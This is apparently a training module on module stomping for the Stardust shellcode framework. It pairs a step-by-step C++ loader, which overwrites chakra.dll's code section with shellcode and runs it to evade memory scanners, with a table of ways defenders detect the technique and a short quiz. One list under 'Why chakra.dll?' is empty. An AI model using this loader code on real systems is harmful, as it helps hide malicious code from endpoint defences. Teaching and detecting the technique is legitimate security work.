Difficulty: Advanced

Module 9: Module Stomping

A loader-side injection technique for delivering shellcode like Stardust into memory.

Important Framing

Module stomping is not a feature of Stardust itself. It is a loader-side injection technique that can be used with Stardust (or any other shellcode). Stardust is the payload — the shellcode that gets executed. Module stomping is one way to deliver that payload into a target process's memory. Stardust includes a test harness (stomper.cc) that demonstrates this technique for testing purposes.

What Is Module Stomping?

Module stomping overwrites the .text (code) section of a legitimately loaded DLL with your shellcode. Instead of allocating new executable memory (which is suspicious), you reuse memory that already exists and is already marked as executable. From the perspective of memory scanners, the code appears to live inside a signed Microsoft DLL.

Why Not Just VirtualAlloc?

Calling VirtualAlloc with PAGE_EXECUTE_READWRITE to create new executable memory is the most common shellcode injection approach — and therefore the most monitored. Memory scanners specifically look for private executable regions that aren't backed by a file on disk. Module stomping avoids this by writing shellcode into memory that is backed by a legitimate DLL file, making it appear as normal loaded module memory.

The Module Stomping Flow

The stomper test harness demonstrates these steps:

Module Stomping: 7-Step Flow

Step 1: Read shellcode from file (stardust.bin)
Step 2: LoadLibraryExA with DONT_RESOLVE_DLL_REFERENCES
Loads the sacrificial DLL without calling DllMain or resolving imports
Step 3: Parse PE headers to locate the .text section
Walk DOS header → NT headers → section headers → find ".text"
Step 4: VirtualProtect to PAGE_READWRITE
Change .text from RX to RW so we can write to it
Step 5: memcpy shellcode over the .text section
Overwrite the DLL's original code with Stardust
Step 6: VirtualProtect to PAGE_EXECUTE_READ
Restore executable permissions (RX, not RWX)
Step 7: Call the entry point (byte 0 of the stomped section)
Jump to RipStart — Stardust begins executing

Stomper Test Code Concepts

The stomper.cc test harness in the Stardust repository demonstrates these concepts. Here is a simplified representation of the key operations:

C++// Simplified stomper.cc concepts

// Step 1: Read the shellcode blob from disk
auto shellcode = read_file( "stardust.bin" );

// Step 2: Load a sacrificial DLL without initialization
// DONT_RESOLVE_DLL_REFERENCES prevents DllMain from running
// and skips import resolution - we don't need the DLL to function
HMODULE hMod = LoadLibraryExA(
    "C:\\Windows\\System32\\chakra.dll",
    NULL,
    DONT_RESOLVE_DLL_REFERENCES
);

// Step 3: Parse PE headers to find .text section
auto dos = (PIMAGE_DOS_HEADER)hMod;
auto nt  = (PIMAGE_NT_HEADERS)((BYTE*)hMod + dos->e_lfanew);
auto sec = IMAGE_FIRST_SECTION( nt );

void*  textBase = nullptr;
size_t textSize = 0;

for ( int i = 0; i < nt->FileHeader.NumberOfSections; i++ ) {
    if ( strcmp( (char*)sec[i].Name, ".text" ) == 0 ) {
        textBase = (BYTE*)hMod + sec[i].VirtualAddress;
        textSize = sec[i].Misc.VirtualSize;
        break;
    }
}

// Step 4: Make .text writable
DWORD oldProtect;
VirtualProtect( textBase, textSize, PAGE_READWRITE, &oldProtect );

// Step 5: Overwrite with shellcode
memcpy( textBase, shellcode.data(), shellcode.size() );

// Step 6: Restore to executable (RX, not RWX)
VirtualProtect( textBase, textSize, PAGE_EXECUTE_READ, &oldProtect );

// Step 7: Call the entry point
auto entry = (void(*)())textBase;
entry();  // RipStart executes here

Why chakra.dll?

The stomper test harness uses chakra.dll (the legacy Chakra JavaScript engine) as the sacrificial DLL. It's a good candidate because:

Detection Considerations

Module stomping is not invisible. Defenders have several ways to detect it:

Detection MethodHow It WorksWhat It Catches
PE-sieve comparison Compares the in-memory contents of a loaded DLL against the on-disk file The stomped .text section won't match the original DLL's code, immediately flagging the modification
RWX transition monitoring Monitors calls to VirtualProtect that change page permissions The RX → RW → RX transition pattern on a loaded DLL is suspicious and can be logged by EDR hooks
LoadLibraryEx monitoring Flags calls to LoadLibraryEx with the DONT_RESOLVE_DLL_REFERENCES flag Legitimate code rarely uses this flag. Loading a DLL without resolving its imports suggests injection preparation
Code integrity checks Periodically scans loaded modules for unexpected code modifications Any loaded DLL whose .text section has been modified since loading

Key Takeaway

Module stomping is a delivery mechanism, not a payload feature. Stardust (the payload) doesn't know or care how it was loaded — it works the same whether injected via module stomping, process hollowing, or any other technique. The stomper.cc test harness exists to demonstrate and test Stardust execution, not as a production loader.

Knowledge Check

Q1: Why is DONT_RESOLVE_DLL_REFERENCES used when loading the sacrificial DLL?

Correct! Since we're going to overwrite the DLL's .text section with shellcode, we don't want or need the DLL to actually initialize. DONT_RESOLVE_DLL_REFERENCES maps the DLL into memory without calling DllMain or resolving its import table, giving us a clean memory region backed by a legitimate file.

Q2: What is the primary advantage of module stomping over allocating new memory with VirtualAlloc?

Correct! Memory scanners specifically flag private executable regions that aren't backed by a file on disk. With module stomping, the shellcode lives in memory that's backed by a legitimate DLL file (e.g., a Microsoft-signed system DLL), making it appear as normal loaded module memory rather than a suspicious standalone allocation.